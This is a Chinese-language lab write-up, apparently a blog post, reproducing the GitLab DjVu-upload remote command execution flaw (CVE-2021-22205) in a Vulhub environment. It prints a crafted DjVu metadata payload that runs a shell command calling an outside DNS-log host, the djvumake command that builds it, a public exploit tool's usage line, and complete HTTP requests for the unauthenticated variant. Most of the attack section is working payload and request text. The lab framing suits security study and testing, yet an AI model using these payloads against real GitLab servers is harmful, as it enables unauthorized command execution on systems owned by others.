Vulhub复现Gitlab远程命令执行(CVE-2021-22205)

接受自己普通,然后全力以赴出众


Vulhub搭建成功后是502页面,过一会儿页面跳转到 /users/sign_in 页面就恢复正常了

登录后RCE

Gitlab主页:

使用账号密登录:root / vulhub123456

新建 Snippets

点击 Description(optional)

上传DjVu格式的图片

使用工具生成EXP

在kali上输入 djvumake,没有就选择 y 安装

将下面的内容保存到txt里面,命名为 test.txt

1
2
3
4
(metadata
(Copyright "\
" . qx{curl ci35g5.dnslog.cn} . \
" b ") )

使用下面命令,生成图片

djvumake test.djvu INFO=0,0 BGjp=/dev/null ANTa=test.txt && mv test.djvu test.jpg

上传图片后显示失败

我们在dnslog平台上面查看,发现其实已经执行了代码

后续利用可以直接在burp里面修改需要执行的命令,也可以利用github开源工具一键化利用

python CVE-2021-22205.py -a true -t 目标URL -c "执行的命令"

(vulhub的环境好像有点问题,发现只能执行23位以内的payload,超过就不会执行)

github开源工具:https://github.com/Al1ex/CVE-2021-22205

未授权RCE

有些Gitlab没开放注册,这时候可以尝试未授权漏洞

使用如下POC获取Cookie和csrf-token

1
2
3
4
5
6
7
8
9
GET /users/sign_in HTTP/1.1
Host: IP:端口
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close


记录Cookie

记录Csrf-Token

获取到的值放到下面这个POC中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /uploads/user HTTP/1.1
Host: IP:端口
Content-Length: 297
X-CSRF-Token: 这里填写csrf-token
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiCE9XEN5Gezm2Wtv
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: experimentation_subject_id=这里填写cookie;_gitlab_session=这里填写cookie
Connection: close

------WebKitFormBoundaryiCE9XEN5Gezm2Wtv
Content-Disposition: form-data; name="file"; filename="test.jpg"
Content-Type: image/jpeg

(metadata
(Copyright "\
" . qx{curl ci35g5.dnslog.cn} . \
" b ") )
------WebKitFormBoundaryiCE9XEN5Gezm2Wtv--

然后发包

命令执行成功